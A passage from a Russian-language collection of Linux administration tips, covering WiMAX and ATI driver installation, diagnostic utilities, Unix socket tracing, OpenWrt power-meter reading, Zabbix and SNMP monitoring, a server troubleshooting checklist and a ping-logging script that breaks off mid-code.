    2) Переходим в привилегированный режим (становится пользователем root) - выполняем команду:
    
        sudo su
    
    и вводим свой пароль от учетной записи.
    
    3) Скачиваем последнюю версию драйвера MadWiMax следующей командой:
    
        wget http://madwimax.googlecode.com/files/madwimax-0.1.0.tar.gz
    
    Примечание: Для этого нужно активное интернет-подключение.
    
    4) Теперь распаковываем и переходим в созданный каталог:
    
        tar -xf madwimax-0.1.0.tar.gz
        cd madwimax-0.1.0/
    
    5) Дальнейший шаг - нужно установить библиотеки libusb1.x (т.к. драйвер madwimax основан на ней):
    
        apt-get install libusb-1.0-0-dev
    
    программа запросит подтверждение своих действий - соглашается
    
    6) Теперь можно скомпилировать и установить драйвер следующими командами:
    
        ./configure
        make
        make install
    
    после установки скопируйте вручную получившийся бинарник madwimax следующей командой:
    
        cp src/madwimax /usr/bin/
    
    7) Далее: Подключаем модем, ждем 10-20 секунд.
    
    8) Запускаем программу madwimax следующей командой:
    
        /usr/bin/madwimax
    
    программа должна написать примерно следующее:
    
       Device found
       Claimed interface
       Allocated tap interface: wimax0
    
    теперь мы должны набрать команду ifconfig и убедиться, что сетевой интерфейс wimax0 у нас появился.
    
    9) Последний шаг - осталось запустить DHCP-клиент и получить настройки
    IP-адреса, шлюза и DNS-сервера:
    
       dhclient
    
    Примечание: Перед выполнение команды dhclient отключите текущее интернет-подключение.
    
     
    ----* Установка ATI Catalyst 8.5 в Ubuntu 8.04 (доп. ссылка 1)   Автор: Pronix  [комментарии]
     
    1. Скачать ati-driver-installer-8-5-x86.x86_64.run
    
    2. В консоли выполнить для синхронизации списка пакетов, доступных в репозиториях:
    
       sudo apt-get update
    
    Затем, установить пакеты, необходимые для сборки модуля ядра из исходных
    текстов и создания deb пакета:
    
       sudo apt-get install build-essential fakeroot dh-make debhelper debconf libstdc++5 dkms linux-headers-$(uname -r)
    
    3. В консоли запускаем инсталлятор драйвера в режиме создания пакетов:
    
       sudo sh ati-driver-installer-8-5-x86.x86_64.run --buildpkg Ubuntu/8.04
    
    
    4. Теперь нужно занести в черный список драйвер fglrx из репозитория Ubuntu, выполняем
    
       sudo gedit /etc/default/linux-restricted-modules-common
    
    и в строке "DISABLED_MODULES" добавляем "fglrx"
    получаем строку:
    
       DISABLED_MODULES="fglrx"
    
    сохраняем файл
    
    5. далее в консоли устанавливаем подготовленные пакеты с драйвером:
    
       sudo dpkg -i xorg-driver-fglrx_8.493*.deb fglrx-kernel-source_8.493*.deb fglrx-amdcccle_8.493*.deb
    
    
    6. Перезагружаем X сервер. 
    
    7. проверяем:
    
       $ fglrxinfo
       display: :0.0 screen: 0
       OpenGL vendor string: ATI Technologies Inc.
       OpenGL renderer string: Radeon X1900 Series
       OpenGL version string: 2.1.7537 Release
    
    PS: все вышесказанное проверялось на i386 конфигурации с видеокартой X1900, 
    для amd64 возможны небольшие отличая в установке.
    
    Оригинал: http://pronix.isgreat.org/news.php?item.86.5
    
     

       Просмотр состояния и мониторинг системы

    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Трассировка обмена данными через Unix domain socket (доп. ссылка 1)   [комментарии]
     
    Для Unix domain socket до сих пор отсутствовал инструмент  для захвата или
    ослеживания содержимого канала связи, наподобие tcpdump для IP. Для решения
    данной задачи подготовлен новый инструмент udtrace, который реализован в
    виде разделяемой библиотеки, подключаемой через LD_PRELOAD.
    
    
    Загружаем код из Git:
    
        git clone git://git.gnumonks.org/udtrace
    
    Собираем командой:
    
        make
    
    Запускаем интересующее приложение в режиме трасиировки:
    
        LD_PRELOAD=libudtrace.os программа
    
    Например, чтобы узнать какие данные передаёт systemctl через Unix-сокет при
    выполнении команды "stat", можно запустить:
    
        LD_PRELOAD=libudtrace.so systemctl status
    
        >>> UDTRACE: Unix Domain Socket Trace initialized (TITAN support DISABLED)
        >>> UDTRACE: Adding FD 4
        >>> UDTRACE: connect(4, "/run/dbus/system_bus_socket")
        4 sendmsg W 00415554482045585445524e414c20
        4 sendmsg W 3331333033303330
        4 sendmsg W 0d0a4e45474f54494154455f554e49585f46440d0a424547494e0d0a
        [...]
         UDTRACE: Removing FD 4
    
    где, 
    
    * 4 - номер файлового дескриптора
    * sendmsg - имя системного вызова (кроме sendmsg может быть  read, write , readv и т.п.)
    * R|W - операция чтения или записи (со стороны отслеживаемого процесса)
    * шестнадцатеричный дамп переданных или полученных данных (отображаются только
    реально переданные через сокет данные, а не попавшие буфер передачи)
    
    Для декодирования шестнадцатеричного дампа можно собрать декодировщики от
    проекта Osmocom, написанные на языке TTCN-3 с использованием Eclipse TITAN.
    Для их включения при сборке можно указать флаг
    
       make ENABLE_TITAN=1
    
    После чего запускать трассировку строкой вида:
    
       LD_LIBRARY_PATH=/usr/lib/titan LD_PRELOAD=libudtrace.so systemctl status
    
     
    ----* Снятие показаний электросчетчика средствами OpenWRT (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Предупреждение: все что вы делаете на свой страх и риск, так как существует
    вероятность "окирпичивания" Вашего роутера.
    
    Итак, берем роутер TP-LINK TL-WR842ND с прошивкой OpenWrt (на момент написания
    статьи автор использовал версию CHAOS CALMER 15.05, r46767) По начальной
    настройке роутера c OpenWrt информации в сети много. (Пример тому  толковый
    ролик Дмитрия Бачило - https://youtu.be/mVbtmjwkpgE ). В OpenWrt должeн быть
    установлен пакет bc.
    
    Создаем директорию: /usr/local/power, где будут хранится данные нашей
    программы: в файле /usr/local/power/v220 - показания электросчетчика, в файле
    /usr/local/power/watts - потребляемая мощность.
    
    Заменяем файл /etc/rc.button/reset на следующее содержание:
    
       #!/bin/sh
       POWER_LED=/sys/devices/platform/leds-gpio/leds/tp-link:green:system/brightness
       . /lib/functions.sh
       if [ "${ACTION}" = "released" ]
       then
          echo 0 > $POWER_LED
          cat $POWER_LED > /usr/local/power/switch
       else
          echo 1 > $POWER_LED
          cat $POWER_LED > /usr/local/power/switch
       fi
       return 0
    
    Разбираем роутер, выводим контакты с кнопки reset и подключаем к
    телеметрическому выходу электросчетчика. Если электросчетчик опломбирован, то
    подключаем роутер через фоторезистор к светодиоду счетчика. (Тогда в файле
    /usr/local/power/switch делаем замену echo 0 на echo 1 в шестой строке и echo 1
    на echo 0 в девятой строке).
    
    Теперь при нажатии (подачи КЗ) кнопки reset будет гореть индикатор "SYS", и в
    файле /usr/local/power/switch будет "1". При отжатии кнопки (снятии КЗ)
    соответственно гаснет "SYS" и в файле /usr/local/power/switch будет "0".
    
    Создаем файл /usr/local/power/my_power.sh c правом исполнения.
    
    В файле my_power.sh редактируем константу MERCURY в зависимости от
    электросчетчика (32 стоит по умолчанию, работал со счетчиком "Меркурий 201.5",
    где передаточное число, 3200 имп/кВт*ч) то есть сотая часть значения
    передаточного числа.
    
    содержание файла my_power.sh:
    
       #!/bin/sh
       SWITCH=/usr/local/power/switch
       MERCURY=32;
       COUNT=0;
       BLACK_COUNT=0;
       let START_TIME=`date +%s`
       read POWER < /usr/local/power/v220 ;
       while true
       do
          read pressed < $SWITCH
          if [ "$pressed" = "1" ] ;
          then
          
             if [ "$BLACK_COUNT" = "0" ] ;
             then
                let POWER_OFF=0
                let BLACK_COUNT=BLACK_COUNT+1
                let COUNT=COUNT+1
                if [ "$COUNT" = "$MERCURY" ] ;
                then
                   let END_TIME=`date +%s`
                   let DELTA=$(($END_TIME-$START_TIME))
                   let WATTS=$((3600/$DELTA))
                   printf "%g" "$(echo "scale=3; $WATTS/100"|bc )" >  /usr/local/power/watts
                   let COUNT=0
                   POWER=$(echo "scale=2; $POWER+0.01" | bc)
    
                   let START_TIME=$END_TIME
                   printf "%g" "$(echo "$POWER" )" > /usr/local/power/v220 ;
                fi
             fi
          fi
          if [ "$pressed" = "0" ];
          then
             let BLACK_COUNT=0
          fi
       done
    
    
    И запускаем командой: 
    
       /usr/local/power/my_power.sh &
    
     
    ----* Мониторинг MaxScale в Zabbix   Автор: Аноним  [комментарии]
     
    Рабочая задача - обеспечить в Zabbix 2.2 мониторинг прокси MaxScale.
    
    Пример скрипта "status":
    
       #!/usr/bin/php
       <?php
       $json_string = `/usr/bin/maxadmin -pmariadb show serversjson`;
       $obj=json_decode($json_string,true);
       echo $obj[$argv[1]]["nodeId"];
    
    Добавляем в zabbix_agentd.conf
    
       UserParameter=ServerStatus1, /<yourLovePlace>/status 0
       UserParameter=ServerStatus2, /<yourLovePlace>/status 1
       UserParameter=ServerStatus3, /<yourLovePlace>/status 2
    
    Если серверов больше чем у меня, добавляем новые строчки, параметр увеличиваем
    на 1. В zabbix ловим -1 это значит сервер не в кластере и идем разбираться.
    "show serversjson" еще много чего интересного выводит.
    
     
    ----* Утилиты для диагностики проблем с производительностью и анализа состояния подсистем Linux  (доп. ссылка 1)   [комментарии]
     
    Плакат с наглядным обзором утилит для диагностики проблем с производительностью
    и анализа состояния подсистем Linux:
    
    
    
    (http://www.brendangregg.com/Perf/linux_observability_tools.png)
    
    
    Утилиты для оптимизации производительности:
    
    
    
    (http://www.brendangregg.com/Perf/linux_tuning_tools.png)
    
    
    Утилиты для измерения производительности:
    
    
    
    (http://www.brendangregg.com/Perf/linux_benchmarking_tools.png)
    
    
    Использование утилиты sar:
    
    
    
    (http://www.brendangregg.com/Perf/linux_observability_sar.png)
    
     
    ----* Мониторинг температуры в Zabbix с использованием Digitemp   Автор: Denis Romanov  [комментарии]
     
    Получаем  параметр от 1-Wire датчика температуры DS18S20 и передаем на сервер Zabbix.
    
    Проверить доступные устройства:
    
       /usr/bin/digitemp_DS9097 -w -s /dev/rs232-0  -v -a
    
       Devices on the Main LAN
       10CD91160208005C : DS1820/DS18S20/DS1920 Temperature Sensor
       0167C0180E000089 : DS2401/DS1990A Serial Number iButton
    
    Поискать термодатчики:
    
       /usr/bin/digitemp_DS9097 -i -s /dev/rs232-0 -v -a
    
       Searching the 1-Wire LAN
       10CD91160208005C : DS1820/DS18S20/DS1920 Temperature Sensor
       ROM #0 : 10CD91160208005C
    
    Cоздание файла настроек (создает /etc/digitemp.conf)
    
       /usr/bin/digitemp_DS9097 -i -s /dev/rs232-0  -q -c /etc/digitemp.conf
    
    Получить температуру:
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0
    
       DigiTemp v3.5.0 Copyright 1996-2007 by Brian C. Lane
       GNU Public License v2.0 - http://www.digitemp.com
       Feb 05 10:23:54 Sensor 0 C: 38.56 F: 101.41
    
    Напечатать  температуру:
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q
    
       Feb 05 10:25:21 Sensor 0 C: 38.56 F: 101.41
    
    Напечатать температуру  в градусах цельсия
    
       /usr/bin/digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q | awk '{print $7}'
    
       38.56
    
    
    Часть из файла настроек агента Zabbix /etc/zabbix/zabbix_agentd.conf
    (передавать на сервер параметр)
    
       UserParameter=log.temperatur.ttys0, /etc/zabbix/temperature
    
    файла /etc/zabbix/temperatur (получить с правами пользователя Zabbix)
    
       #!/bin/bash
       cat /var/log/temperatur.ds18s20
    
    Опрос 1 раз в 5 минут
    Строка из файла  "планировщика заданий" /etc/crontab (получить данные из RS-232 c правами ROOT)
    
        */5 * * * *     root  digitemp_DS9097 -c /etc/digitemp.conf -t 0  -q | awk '{print $7}' > /var/log/temperatur.ds18s20
    
    
    На сервере  ZABBIX: получить от клиента параметр
    
       / zabbix_get -s 127.0.0.1  -k "log.temperatur.ttys0"
    
       38.50
    
    Теперь нужно привязать к хоту и вывести на экран график
    Создаем  "Item" , со временем опроса 600 секунд (5 минут)
    
    
    
    Создаем "Graph", который нам нарисует "Item"
    
    
    
    Результат:
    
    
    
     
    ----* Мониторинг репликации MySQL при помощи Zabbix   Автор: globus  [комментарии]
     
    0. Кому как удобно ставим zabbix агента. Создаем директорию /zabix/
    
    1. Создаем пользователя на слейве mysql.
     
       GRANT REPLICATION CLIENT ON *.*  TO 'replication'@'localhost' IDENTIFIED BY 'S0mEPass';
    
    2. пишем скрипт slave_status
    
       #!/bin/sh
       export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:
    
       mysql --defaults-file=/zabix/.my.cnf -Bse "show slave status\\G" | grep $1 | awk '{ print $2 }' | head -n 1
    
    
    3. Делаем конфиг /zabbix/.my.cnf
    
       [client]
       user=replication
       host=localhost
       password='S0mEPass'
    
    Конфиг нужен затем, чтобы в вывод не попадали такие сообщения:
    
       Warning: Using a password on the command line interface can be insecure.
       Yes
    
    4. В конфиг zabbix агента добавляем
    
       UserParameter=mysql-slave[*],/scripts/slave_status "$1"
    
    5. Делаем рестарт zabbix агента
    
    Забираем (http://opennet.ru/soft/zbx_export_templates.xml или https://cloud.mail.ru/public/2feb5f4dee82/zbx_export_templates.xml
    ) шаблон для zabbix (работает на 2.2), в шаблоне три параметра и два триггера.  
    Допиливаем под себя, не забываем делать рестарты.
    
     
    ----* Первые 5 минут устранения неполадок на Linux-сервере (доп. ссылка 1)   Автор: Ivan Pesin  [комментарии]
     
    Когда наша команда еще занималась вопросами эксплуатации, оптимизации и
    масштабирования в предыдущей компании, нам приходилось иметь дело с отладкой
    медленно работающих приложений и целых инфраструктур, часто большого размера
    (представьте CNN или the World Bank). Горящие сроки, экзотические стеки
    технологий и недостаток информации обычно гарантировали незабываемые впечатления.
    
    Причины неполадок редко были очевидными; ниже я привожу список шагов, с которых
    мы обычно начинали поиск проблемы.
    
    Войдите немного в контекст
    
    Не спешите бросаться на сервера, сперва нужно выяснить, что уже известно о
    системе и специфике проблемы. Не стоит тратить время на поиск проблемы вслепую.
    
    Несколько обязательных вопросов, требующих ответа:
    
    
  • Какие конкретно наблюдаются симптомы? Подвисания? Ошибки?
  • Когда проблема была замечена впервые?
  • Воспроизводится ли она?
  • Есть ли закономерность (например, происходит каждый час)?
  • Какие были последние изменения в системе (код, сервисы, стек приложений)?
  • Влияет ли проблема на определенную группу пользователей (авторизированных, не авторизированных, с общим географическим расположением...)?
  • Имеется ли документация на архитектуру (физическую и логическую)?
  • Используется ли система мониторинга? Munin, Zabbix, Nagios, New Relic... Подойдет любая.
  • Ведется ли (централизированное) журналирование? Loggly, Airbrake, Graylog.. Последние два пункта представляют собой наиболее удобные источники информации, но не возлагайте на них больших надежд: как ни печально, именно мониторинг и журналирование часто отсутствуют. Если не повезло, сделайте заметку, что это нужно поправить, и двигайтесь дальше. Кто здесь? $ w $ last Не критично, но обычно не стоит заниматься устранением неполадок в системе, в то время когда с ней играются другие люди. На кухне достаточно одного повара. Что делали в системе? $ history Всегда полезно посмотреть на историю команд в комбинации с информацией о том, кто ранее заходил в систему. Не забывайте про ответственность: то, что вы администратор, не дает вам права нарушать чужую конфиденциальность. Маленькая заметка в уме на потом - вы можете задать переменную окружения HISTTIMEFORMAT, чтобы была возможность отслеживать время, когда выполнялись команды из истории. Нет ничего более раздражающего, чем анализ устаревшего списка команд, не имеющих отношения к проблеме... Что запущено? $ pstree -a $ ps aux Вывод ps aux содeржит, как правило, много подробной информации о процессах, тогда как pstree -a выдает наглядную и лаконичную картину запущенных процессов, вместе с родительской иерархией. "Слушающие" сервисы $ netstat -ntlp $ netstat -nulp $ netstat -nxlp Я предпочитаю выполнять эти команды отдельно, в основном потому что я не люблю смотреть на все сервисы одновременно. Тем не менее, netstat -nalp тоже подойдет и я бы не опускал опцию -n (IP-адреса, мне кажется, воспринимаются лучше). Определите запущенные службы и выясните должны ли они выполнятся. Посмотрите какие порты находятся в слушающем состоянии. PID слушающего процесса можно всегда найти в выводе ps aux. Это может оказаться очень полезным, особенно когда в системе одновременно запущены несколько Java или Erlang процессов. Обычно, мы стараемся, чтобы наши системы были более или менее специализированы, с небольшим количеством сервисов на каждой из них. Если вы видите десятки слушающих портов, наверно стоит отметить это себе в уме, чтобы потом разобраться как это можно почистить или реорганизовать. Процессор и память $ free -m $ uptime $ top $ htop Эти команды должны ответить на несколько вопросов:
  • Есть ли свободная память? Происходит ли своппинг на диск?
  • Насколько загружены процессоры? Сколько ядер доступно на сервере? Перегружены ли какие-то из них?
  • Что больше всего нагружает систему? Какое у системы значение средней нагрузки (load average)? Аппаратная часть $ lspci $ dmidecode $ ethtool Обычные, невиртуализированные сервера продолжают широко использоваться, и эти команды должны помочь:
  • Определить RAID-контроллер (есть ли у него батарея резервного питания?), процессор и количество доступных слотов памяти. Это может подсказать вам потенциальные причины проблемы и пути увеличения производительности.
  • Выяснить правильно ли настроена сетевая карта? Не работает ли она в режиме полудуплекса? На скорости 10MBps? Есть ли ошибки приема-передачи? +++ Производительность ввода-вывода $ iostat -kx 2 $ vmstat 2 10 $ mpstat 2 10 $ dstat --top-io --top-bio Очень полезные команды для анализа общей производительности системы хранения.
  • Проверяем свободное место: есть ли в системе полностью занятые файловые системы или диски?
  • Используется ли своп (si/so)?
  • Что занимает процессор: системные вызовы? пользовательские процессы? много ли времени крадется гипервизором (VM)?
  • Моя любимая команда - dstat. Какие процессы интенсивно используют ввод-вывод? Может быть MySQL грузит дисковую подсистему? Или это какой-то PHP-скрипт? Точки монтирования и файловые системы $ mount $ cat /etc/fstab $ vgs $ pvs $ lvs $ df -h $ lsof +D / /* будьте осторожны, не положите сервер */
  • Сколько файловых систем смонтировано?
  • Есть ли файловые системы, выделенные для конкретных сервисов? (MySQL например?)
  • Какие указаны опции монтирования: noatime? default? Есть ли какие-то файловые системы смонтированные в режиме только для чтения?
  • Есть ли свободное место на дисках?
  • Нет ли больших удаленных файлов, которые продолжают удерживаться каким-либо процессом?
  • Есть ли место для расширения раздела, если проблема в свободном пространстве? Ядро, прерывания и сеть $ sysctl -a | grep ... $ cat /proc/interrupts $ cat /proc/net/ip_conntrack /* может занять некоторое время на загруженных серверах */ $ netstat $ ss -s
  • Распределены ли прерывания равномерно по всем процессорам? Возможно одно из ядер перегружено из-за прерываний от сетевой карты, RAID-контроллера, ...?
  • Какое задано значение swappinness в системе? 60 подходит для персональных компьютеров, но не для серверов. Желательно, чтобы сервер никогда не использовал своп, иначе во время чтения/записи данных на диск, процессы вытесненные в своп окажутся заблокированными.
  • Достаточно ли велико значение conntrack_max для существующего трафика?
  • Как долго TCP-соединения могут находится в различных состояниях (TIME_WAIT, ...)?
  • netstat может быть немного медленным при выводе всех существующих соединений, тогда используйте ss -s, чтобы быстро получить краткую статистику. Посмотрите статью про настройку TCP в Linux, в ней есть полезная информация на эту тему. Системные журналы и сообщения ядра $ dmesg $ less /var/log/messages $ less /var/log/secure $ less /var/log/auth
  • Ищите любые сообщение об ошибках или предупреждения. Есть ли сообщения о слишком большом количестве соединений в conntrack?
  • Есть ли сообщения об аппаратных ошибках или ошибках файловой системы?
  • Коррелируется ли время между ошибками в журналах и предоставленной информацией о проблеме? Задания cron $ ls /etc/cron* + cat $ for user in $(cat /etc/passwd | cut -f1 -d:); do crontab -l -u $user; done
  • Есть ли задания, которые выполняются слишком часто?
  • Есть ли персональные конфигурационные файлы cron, спрятанные от постороннего взгляда?
  • Выполнялось ли какое-либо резервное копирование в то время, когда возникла проблема? Журнальные файлы приложений Здесь можно много что исследовать, но вряд ли у вас будет время, чтобы детально все просмотреть. Поэтому, сконцентрируйтесь на самом очевидном, например для LAMP-сервера:
  • Apache & Nginx; посмотрите журналы доступа и ошибок, ищите ошибки 5xx, возможные ошибки limit_zone.
  • MySQL; посмотрите есть ли ошибки в mysql.log, следы поврежденных таблиц, работающий процесс восстановления innodb. Посмотрите журнал медленных операций и определите есть ли проблемы с диском, индексами или запросами.
  • PHP-FPM; если включен журнал php-slow, покопайтесь в нем и попробуйте найти ошибки (php, mysql, memcache, ...). Если журнал выключен, активируйте его.
  • Varnish; проверьте отношение hit/miss в varnishlog и varnishstat. Не пропущено ли правило в конфигурации, в результате чего запросы конечных пользователей проходят до бекэнда, минуя varnish?
  • HA-Proxy; какой статус у бекэндов? Правильно ли работает проверка здоровья бекэндов? Не переполнена ли очередь запросов на фронтэнде или бекэндах? Заключение После этих первых пяти минут (плюс-минус десять), у вас должно будет сформироваться более полное понимание ситуации:
  • Что запущено.
  • Связана ли проблема с вводом-выводом/аппаратной частью/сетевой подсистемой или конфигурацией (плохой код, настройки ядра, ...).
  • Есть ли знакомые шаблоны: плохое использование индексов БД, слишком много процессов apache, и т.п. Вы даже могли уже найти непосредственную причину проблемы. Если нет, то вы находитесь в хорошей позиции для дальнейших поисков, зная, что все очевидное уже проверено. Оригинал: First 5 Minutes Troubleshooting A Server by Vincent Viallet, 6 March 2013. Translated by Ivan Pesin, July 2013
  •  
    ----* Мониторинг загрузки многоядерного сервера по каждому ядру в отдельности в Linux   Автор: fantom  [комментарии]
     
    Исходная задача: по SNMP загрузить параметры загруженности CPU с сервера по
    каждому ядру в отдельности (ОС Linux).
    
    
    Простое решение:
    
    Необходимые данные можно получить из файла /proc/stat
    Описание структуры файла было вскоре найдено здесь http://www.linuxhowtos.org/System/procstat.htm
    
    И так же был обнаружен простенький пример реализации (shell скрипт): http://colby.id.au/node/39 
    
    Осталось все это прикрутить к SNMP. У SNMP есть чудесная возможность - создать
    свой OID и прицепить к нему все что угодно :)
    
    1. Пишем скрипт, в простейшем варианте выглядящий примерно так:
    
       #!/bin/bash
    
       PREV_TOTAL0=0
       PREV_TOTAL1=0
       PREV_IDLE0=0
       PREV_IDLE1=0
    
       while true; do
          CPU0=(`cat /proc/stat | grep '^cpu0 '`) # Общая картинка по cpu0
          CPU1=(`cat /proc/stat | grep '^cpu1 '`) # Общая картинка по cpu1
          unset CPU0[0] # отрезаем первый столбец (cpu0)
          unset CPU1[0] # отрезаем первый столбец (cpu1)
          IDLE0=${CPU0[4]} # время простоя cpu0.
          IDLE1=${CPU1[4]} # время простоя cpu1.
    
          # Подсчитаем суммарное время по cpu0
          TOTAL0=0
          for VALUE0 in "${CPU0[@]}"; do
             let "TOTAL0=$TOTAL0+$VALUE0"
          done 
    
          # Подсчитаем суммарное время по cpu1
          TOTAL1=0
          for VALUE1 in "${CPU1[@]}"; do
             let "TOTAL1=$TOTAL1+$VALUE1"
          done
    
          # Подсчитаем дельту с момента последнего замера по CPU0. 
          let "DIFF_IDLE0=$IDLE0-$PREV_IDLE0"
          let "DIFF_TOTAL0=$TOTAL0-$PREV_TOTAL0"
    
          # Вычисляем процент использования CPU0
          let "DIFF_USAGE0=(1000*($DIFF_TOTAL0-$DIFF_IDLE0)/$DIFF_TOTAL0+5)/10"
    
          # Подсчитаем дельту с момента последнего замера по CPU1.
          let "DIFF_IDLE1=$IDLE1-$PREV_IDLE1"
          let "DIFF_TOTAL1=$TOTAL1-$PREV_TOTAL1"
    
          # Вычисляем процент использования CPU1
          let "DIFF_USAGE1=(1000*($DIFF_TOTAL1-$DIFF_IDLE1)/$DIFF_TOTAL1+5)/10"
    
          #Результаты пишем в файлик
          echo "$DIFF_USAGE0">/opt/cpu_load
          echo "$DIFF_USAGE1">>/opt/cpu_load
    
          # Запоминаем текущее состояние, понадобиться при следующем цикле
          PREV_TOTAL0="$TOTAL0"
          PREV_TOTAL1="$TOTAL1"
    
          PREV_IDLE0="$IDLE0"
          PREV_IDLE1="$IDLE1"
    
    
          #exit
          # Собственно пауза перед следующим замером...
          sleep 59
       done
    
    
    В файл конфигурации /etc/snmpd.conf добавляем строчку например такого вида
    
       exec .1.3.6.1.4.1.2021.54 cpu /bin/cat /opt/cpu_load
    
    Что нам это дает (после перезапуска/запуска snmpd):
    
       snmpwalk -v 2c -c <community> <server_name> 1.3.6.1.4.1.2021.54
    
       UCD-SNMP-MIB::ucdavis.54.1.1 = INTEGER: 1
       UCD-SNMP-MIB::ucdavis.54.2.1 = STRING: "cpu"
       UCD-SNMP-MIB::ucdavis.54.3.1 = STRING: "/bin/cat /opt/cpu_load"
       UCD-SNMP-MIB::ucdavis.54.100.1 = INTEGER: 0
       UCD-SNMP-MIB::ucdavis.54.101.1 = STRING: "1"
       UCD-SNMP-MIB::ucdavis.54.101.2 = STRING: "2"
    
    Собственно 
    
       UCD-SNMP-MIB::ucdavis.54.101.1 = STRING: "1 - загрузка CPU0
       UCD-SNMP-MIB::ucdavis.54.101.2 = STRING: "2" - загрузка CPU1
    
    
    Осталось добавить это в рисовалку и все.
    
     
    ----* Раскраска лога для увеличения его наглядности   [комментарии]
     
    Для наблюдения за логом в наглядном виде с подсветкой наиболее важных элементов
    или для раскрашивания файлов конфигурации или файлов с кодом удобно
    использовать утилиту ccze, которая присутствует в стандартных репозиториях.
    
    Раскрасим поступающий хвост лога:
    
       tail -f /var/log/syslog | ccze
    
    Просмотрим весь лог (опция -A использует вывод в ANSI-кодах, в не через
    ncurses; опция -R в less включает интерпретацию ANSI-кодов):
    
       ccze -A < /var/log/syslog | less -R
    
    Для вывода в формате HTML следует указать опцию "-h".
    Если в логе есть время в эпохальном виде, то его можно преобразовать в
    наглядное представление через опцию "-C".
    Для определения своего цвета для заданного ключевого слова можно использовать
    флаг "--color ключ=цвет".
    
    Примеры раскраски вывода утилит (в качестве аналога можно упомянуть утилиту acoc):
    
       df -hT | ccze -A
       ls -l | ccze -A
    
    Для наглядного наблюдения за несколькими логами можно использовать MultiTail
    (http://www.vanheusden.com/multitail/). Автором MultiTail  также подготовлено
    несколько полезных утилит:
    MySQLtail - слежение изменением содержимого заданной таблицы в MySQL;
    NagTail - наглядное отображение изменений в логе системы мониторинга Nagios;
    RSSTail - отображение обновления RSS-лент в стиле tail;
    
     
    ----* Скрипт для наглядного ping с ведением лога   Автор: Kins  [комментарии]
     
    Представленный скрипт может:
    * Отображать результат пинга
    * Отображать время пинга
    * Вести лог пингов
    * Визуализировать лог пингов
    * Подавать звуковой сигнал при отсутствии пинга
    
    Код скрипта  conky.sh:
    
       #!/bin/bash
    
       #$1 - name
       #$2 - adress
       #$3 - options (f: format result, n: show name, t: show time, d: show colored dot, s: play sound, l: logging)
       #$4 - width in symbol
       #$5 - fill symbol
       #$6 - sound file
       #$7 - packetsize
    
       if [ "$7" != "" ]
       then
        tmp=-s' '$7
       fi
       a=$(ping -c 1 $2 -W 1 $tmp)
       if [ "$a" = "" ]
       then
        r='e'
        t=&#42830;
       fi
    
       if [[ "$a" =~ [0-9]*% ]]; then tmp=$BASH_REMATCH; fi
       if [ "$tmp" = "0%" ]
       then
        r='y'
        if [[ "$a" =~ time=[0-9.]*.ms ]]; then t=$BASH_REMATCH; fi
        t=${t#time=}
        t=${t% ms}
       elif [ "$tmp" = "100%" ]
       then
        r='n'
        t=&#42830;
       fi
    
       vislog=''
       #функция визуализации и ведения лога
       function vis_log
       {
       # Проверка наличия файла.
       if [ ! -f "$2" ]
       then
        #echo "Файл "$2" не найден. Создаем..."
        > $2
       fi
       
       #сколько строк лога нужно визуализировать?
       tmp=''
       if [[ "$3" =~ n ]]; then tmp=$1' '; fi
       if [[ "$3" =~ t ]]; then tmp=$tmp' '$t; fi
       if [[ "$3" =~ d ]]; then tmp=$tmp' '$r; fi
       cnt=${#tmp}
       let cnt=$4-$cnt
       #считать из лога нужное количество строк
       tmp=$(tail -n $cnt $2)
       #парсим считанные строки
       sym=''
       oldsym=''
       for ((i=1; i <= cnt ; i++))
       do
        if [[ "$tmp" =~ [eyn] ]]; then sym=$BASH_REMATCH; fi
        tmp=${tmp#*d}
        if [ "$sym" != "$oldsym" ]
        then
         case "$sym" in
          y) vislog=$vislog'${color green}';;
          n) vislog=$vislog'${color red}';;
          e) vislog=$vislog'${color yellow}';;
         esac
        fi
        oldsym=$sym
        vislog=$vislog$5
       done
       
       #записали новый результат пинга в лог
       echo "$r $t"$(date +%x' % '%X)' d' >> $2
    
       #типа ротация лога оставляем только последние $4 строк
       tail -n $4 $2 > temp.txt
       rm $2
       mv temp.txt $2
       
       }
    
       #сыграем звук если надо
       if [[ "$3" =~ s ]]; then
        if [ "$r" != 'y' ]
        then
         play $6 -q &
        fi;
       fi
       
       #окончательное оформление для conky
       res=''
